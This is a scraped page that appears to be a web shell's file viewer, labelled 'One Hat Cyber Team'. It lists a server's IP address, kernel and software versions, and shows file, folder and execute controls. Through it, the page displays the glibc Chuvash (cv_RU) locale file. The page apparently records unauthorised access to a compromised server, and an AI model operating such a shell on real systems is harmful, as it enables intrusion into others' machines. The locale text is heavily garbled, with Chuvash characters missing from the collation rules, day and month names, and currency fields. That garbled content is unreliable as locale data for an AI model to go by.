⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.247
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
i18n
/
locales
/
View File Name :
cv_RU
comment_char % escape_char / % This file is part of the GNU C Library and contains locale data. % The Free Software Foundation does not claim any copyright interest % in the locale data contained in this file. The foregoing does not % affect the license of the GNU C Library as a whole. It does not % exempt you from the conditions of the license if your use would % otherwise be governed by that license. % Chuvash Language Locale for Russia % Language: cv % Territory: RU % Revision: 1.0 % Date: 2009-10-13 % Application: general % Users: general % % Based on the ru_RO % Modifed by: % Adi Roiban
% Ali Savatar % LC_IDENTIFICATION title "Chuvash locale for Russia" source "RAP" address "Sankt Jorgens Alle 8, DK-1615 Kobenhavn V, Danmark" contact "" email "bug-glibc-locales@gnu.org" tel "" fax "" language "Chuvash" territory "Russia" revision "1.0" date "2000-06-29" category "i18n:2012";LC_IDENTIFICATION category "i18n:2012";LC_CTYPE category "i18n:2012";LC_COLLATE category "i18n:2012";LC_TIME category "i18n:2012";LC_NUMERIC category "i18n:2012";LC_MONETARY category "i18n:2012";LC_MESSAGES category "i18n:2012";LC_PAPER category "i18n:2012";LC_NAME category "i18n:2012";LC_ADDRESS category "i18n:2012";LC_TELEPHONE category "i18n:2012";LC_MEASUREMENT END LC_IDENTIFICATION LC_COLLATE % There is no collation information for Chuvash in CLDR. % % According to https://en.wikipedia.org/wiki/Chuvash_language % the writing system is Cyrillic. % % But our Chuvash locale here seems to use the Latin Alphabet ... % % I just adapt the collation rules which I found here to the % updated iso14651_t1_common file. copy "iso14651_t1" % The Chuvash alphabet has the following letters, ordered as below: % a ă c e ĕ h i j k l m n p r š s ş t u ü v y collating-symbol
collating-symbol
collating-symbol
collating-symbol
collating-symbol
reorder-after
reorder-after
reorder-after
reorder-after
reorder-after
;"
";"
";IGNORE % ă
;"
";"
";IGNORE % Ă
;"
";"
";IGNORE % ĕ
;"
";"
";IGNORE % Ĕ
;"
";"
";IGNORE % š
;"
";"
";IGNORE % Š
;"
";"
";IGNORE % ş
;"
";"
";IGNORE % Ş
;"
";"
";IGNORE % ș
;"
";"
";IGNORE % Ș
;"
";"
";IGNORE % ü
;"
";"
";IGNORE % Ü reorder-end END LC_COLLATE LC_CTYPE copy "i18n" translit_start include "translit_combining";"" translit_end END LC_CTYPE LC_MESSAGES yesexpr "^[+1yY]" noexpr "^[-0nN]" END LC_MESSAGES LC_MONETARY int_curr_symbol "RUB " % "t." - short for tenke(, Chuvash name for rouble currency_symbol "
" mon_decimal_point "." mon_thousands_sep "
" mon_grouping 3;3 positive_sign "" negative_sign "-" int_frac_digits 2 frac_digits 2 p_cs_precedes 0 p_sep_by_space 1 n_cs_precedes 0 n_sep_by_space 1 p_sign_posn 1 n_sign_posn 1 END LC_MONETARY LC_NUMERIC copy "ru_RU" END LC_NUMERIC LC_TIME % Days of week: % vyrsarnikun (Sunday) - short vr % tuntikun (Monday) tn % ytlarikun (Tuesday) yt % junkun (Wednesday) jn % ke(s,nernikun (Thursday) ks, % ernekun (Friday) er % s
nernikun";/ "ernekun";/ "
matkun" abday "vr";/ "tn";/ "yt";/ "jn";/ "k
";/ "er";/ "
m" % Month names: % ka(rlac (January) - short KA(R % nara(s (February) NAR % pus< (March) PUS< % aka (April) AKA % s,u (May) S,U % s,e(rtme (June) S,E(R % uta( (July) UTA( % s,urla (August) S,UR % ava(n (September) AVA( % jupa (October) JUP % cu:k (November) CU:K % ras
rlac";/ "nar
s";/ "pu
";/ "aka";/ "
u";/ "
rtme";/ "ut
";/ "
urla";/ "av
n";/ "jupa";/ "c
k";/ "ra
tav" abmon "K
R";/ "NAR";/ "PU
";/ "AKA";/ "
U";/ "
R";/ "UT
";/ "
UR";/ "AV
";/ "JUP";/ "C
K";/ "RA
" d_t_fmt "%a %d %b %Y %T" date_fmt "%a %d %b %Y %T %Z" d_fmt "%d.%m.%Y" t_fmt "%T" am_pm "";"" t_fmt_ampm "" week 7;19971130;1 first_weekday 2 END LC_TIME LC_PAPER copy "ru_RU" END LC_PAPER LC_TELEPHONE copy "ru_RU" END LC_TELEPHONE LC_MEASUREMENT copy "ru_RU" END LC_MEASUREMENT LC_NAME copy "ru_RU" END LC_NAME LC_ADDRESS postal_fmt "%f%N%a%N%d%N%b%N%s %h %e %r%N%z %T%N%c%N" country_ab2 "RU" country_ab3 "RUS" country_num 643 country_car "RUS" % Чӑвашла lang_name "
" lang_ab "cv" lang_term "chv" lang_lib "chv" END LC_ADDRESS